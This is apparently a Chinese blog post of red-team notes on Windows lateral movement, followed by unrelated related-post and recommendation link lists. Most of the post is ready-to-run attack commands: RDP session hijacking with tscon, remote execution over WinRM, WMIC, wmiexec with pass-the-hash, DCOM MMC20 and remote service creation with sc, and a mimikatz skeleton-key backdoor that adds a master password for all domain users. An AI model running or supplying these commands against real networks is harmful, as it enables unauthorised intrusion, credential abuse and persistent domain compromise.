Lateral Movement
简介
这次去宁夏护网,发现我有的朋友连最基本的横向渗透有些都不晓得,他们问我 我也表达不清楚...,就想着写篇文章总结下吧
(慢慢更..)
可以发我邮箱讨论:muxue@protonmail.com
Tscon
我这里用的是Windows Server 2012利用PSEXEC提升至system权限
在一个机子上要是有多个用户登录,可以使用query user或者在任务管理器里查看状态

我们普通用户连接是需要密码的,但是system权限下就不需要
- 首先获取目标用户的id
query user username

- 连接用户
tscon id
tscon id /dest:console
我是直接rdp了 没有出现一个新的控制台,有大佬解决办法 拜托call一声
WinRM
winRm(微软远程管理)是WS-Management协议的实现组件。WinRM是windows操作系统的一部分。是一项允许管理员在系统上远程执行管理任务的服务。通信通过HTTP(5985)或HTTPS SOAP(5986)执行,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。 你需要管理员身份才能使用它。
适用版本:适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。
需要先配置
// 查看
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
// 开启 本地
winrm quickconfig -q
or
Enable-PSRemoting -Force

还得接着配置
winrm set winrm/config/Client @{TrustedHosts="*"} // 通配
winrm set winrm/config/Client @{TrustedHosts="*.baidu.com"}
winrm set winrm/config/Client @{TrustedHosts="*.baidu.com,IP"}
// 查看信任主机
winrm get winrm/config/client|findstr TrustedHosts
// Attack
winrs -r:192.168.0.114 -u:administrator -p:pass whoami

WMI
从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。并且wimc执行命令时不会留下日志信息
wmic /node:ip /user:administrator /password:pass process call create "command"
然后我要重点写下WMIEXEC,impacket里有py版本的,也有ps、c#的;我这里先记录vbs的
虽然有半shell 和 执行单条命令,但是我执行单条命令他给我返回了半交互式shell
cscript.exe //nologo wmiexec.vbs /shell ip username password

然后我们尝试使用hash(ps1,py,vbs的也可以 需要wce注入hash)
wce –s 账号:主机名或域的名字:LM:NTLM
cscript //nologo wmiexec.vbs /shell ip
python
python3 wmiexec.py muxue.com/administrator@10.10.0.128 -hashes lm:ntlm

ps
Invoke-WmiExec -target 10.10.0.128 -hash hash -username "administrator" -command calc

当然还有好多款工具是基于wmi的横向工具:
https://github.com/360-Linton-Lab/WMIHACKER
https://github.com/QAX-A-Team/sharpwmi
DOCM
先说下COM和DCOM是啥东西
COM:COM即组件对象模型(Component Object Model,COM) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。COM是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。
DCOM:DCOM(分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求
也就是DCOM是COM(组件对象模型)的扩展
所以执行命令也得需要看组件
DCOM执行命令可以分为两种:
- 本地执行
- 对远程执行
在本地通过DCOM执行命令
- 先获取本地DCOM程序列表
使用一个powershell命令(在version3以上才有),Get-CimInstance
Get-CimInstance Win32_DCOMApplication, 低版本可以用Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

我们使用MMC20.APPLICATION COM 这个组件来进行命令执行

此 COM 对象允许您编写 MMC 管理单元操作的组件的脚本
2. 创建一个实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
注意要在管理员模式下

获取实例后,然后查看COM对象中的不同方法和属性
$com.Document.ActiveView | Get-Member

然后调用这个方法执行命令
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

使用DCOM对远程主机执行命令
- 简历ipc
- 创建实例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","ip")) - 执行:
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\1.exe","Minimized")
还有很多组件也可以执行命令 参考https://www.freebuf.com/articles/network/261454.html
SC
服务配置管理器
// 创建
sc \\ip create systemhelp binpath="cmd.exe /d c:/test.exe" start=auto
// 查看信息
sc \\ip qc systemhelp
// 开启
sc \\ip start systemhelp
// 删除
sc \\ip delete systemhelp /y

也可以使用scshell,https://github.com/Mr-Un1k0d3r/SCShell
SMB RELAY
SMB中继的攻击手法 可以去搜着看,或者我以后写出来..

set AutoRunScript post/windows/manage/migrate
Skeleton Key
也就是万能密码
用mimikatz就可以实现
privilege::debug
misc::skeleton
会为所有用户加一个,mimikatz的密码
配个图

Lateral Movement的更多相关文章
- Day 3 @ RSA Conference Asia Pacific & Japan 2016 (morning)
09.00 – 09.45 hrs Tracks Cloud, Mobile, & IoT Security A New Security Paradigm for IoT (Inter ...
- Coablt strike官方教程中文译版本
安装和设置 系统要求 Cobalt Strike的最低系统要求 2 GHz +以上的cpu 2 GB RAM 500MB +可用空间 在Amazon的EC2上,至少使用较高核数的CPU(c1.medi ...
- 开源流量分析系统 Apache Spot 概述(转)
原文地址http://blog.nsfocus.net/apache-spot/ Apache Spot 是一个基于网络流量和数据包分析,通过独特的机器学习方法,发现潜在安全威胁和未知网络攻击能力的开 ...
- Coablt strike官方教程中文版
安装和设置 系统要求 Cobalt Strike的最低系统要求 2 GHz +以上的cpu 2 GB RAM 500MB +可用空间 在Amazon的EC2上,至少使用较高核数的CPU(c1.medi ...
- ATT&CK框架学习
ATT&CK模型 ATT&CK是分析攻击者行为(即TTPs)的威胁分析框架.ATT&CK框架核心就是以矩阵形式展现的TTPs,即Tactics, Techniques and ...
- ATT&CK模型
Credential Dumping(凭证窃取) Dump credentials from LSASS(从LSASS中窃取凭证) 实现原理: This technique injects into ...
- 【路径规划】 Optimal Trajectory Generation for Dynamic Street Scenarios in a Frenet Frame (附python代码实例)
参考与前言 2010年,论文 Optimal Trajectory Generation for Dynamic Street Scenarios in a Frenet Frame 地址:https ...
- hive 使用笔记(table format;lateral view)
1. create table 创建一张目标表,指定分隔符和存储格式: create table tmp_2 (resource_id bigint ,v int) ROW FORMAT DELIMI ...
- JQuery时间轴timeline插件的学习-Lateral On-Scroll Sliding with jQuery+technotarek / timeliner
一.Lateral On-Scroll Sliding with jQuery的使用 View demo Download source 1. HTML结构 <div id=" ...
随机推荐
- 乘风破浪,Windows11预览版升级和安装,积极准备中的大跃进
安装Windows11 暂时官方还没出可靠的ISO 升级到Windows11 预览版 关于一些限制 目前DEV预览通道对从老系统升级到Windows11暂时没有什么限制,只是会提示你可能不太好,但是安 ...
- 关于LCA的几点想法
倍增 这是最最最常见的写法了,一个fa[N][logN]的数组直接搞定 时间复杂度也不算太高 预处理 $ O(nlogn) $ 如果你想卡的话,可以卡到 $ O(nlogh) $ h为树的深度 查询 ...
- 三剑客-sed
1.sed命令概述说明: 字符流编辑工具(行编辑工具) 2.sed命令作用说明: (1)擅长对行进行操作处理 (2)擅长将文件的信息进行修改调整/删除 3.sed具体功能 (1)文件中添加信息的能力( ...
- Python 脚本退出
return:在定义函数时从函数中返回一个函数的返回值,终止函数的执行. os._exit(),sys.exit(),exit(),quit()都能够退出当前执行脚本,差别在于os._exit()直接 ...
- linux 操作目录
脚本 获取一个目录下各子目录中的文件个数 #!/bin/sh find /tmp/homework -maxdepth 1 -type d | while read dir; do count=$(f ...
- Windows软件包管理工具:Scoop
前言 删库跑路后,Windows系统如何快速安装应用程序,部署环境呢? 以前想过这个问题,最近在安装Hugo时发现使用软件包管理工具可以解决这个问题. 阅读建议 首先需要测试下载速度,尝试从官网下载, ...
- mybatis复杂映射
1. 类型名对应 当实体类与表中字段完全一致时,mapper文件里返回类型用resultType,否则要用resultMap,并且建立resultMap映射 package com.rf.domain ...
- Nginx PHP测试装
Nginx yum -y install gcc gcc-c++ make automake autoconf pcre pcre-devel zlib zlib-devel openssl open ...
- MYSQL 连接举例
内连接:连接的多个数据必须存在才能连接select * from sjh14482条记录 create table sjha as ( select * from sjh1 limit 20 )sel ...
- Java基础00-方法引用32
1. 方法引用 Java8新特征之方法引用 1.1 体验方法引用 代码示例: 需求: 1:定义一个接口(Printable):里面定义一个抽象方法: void printString(String s ...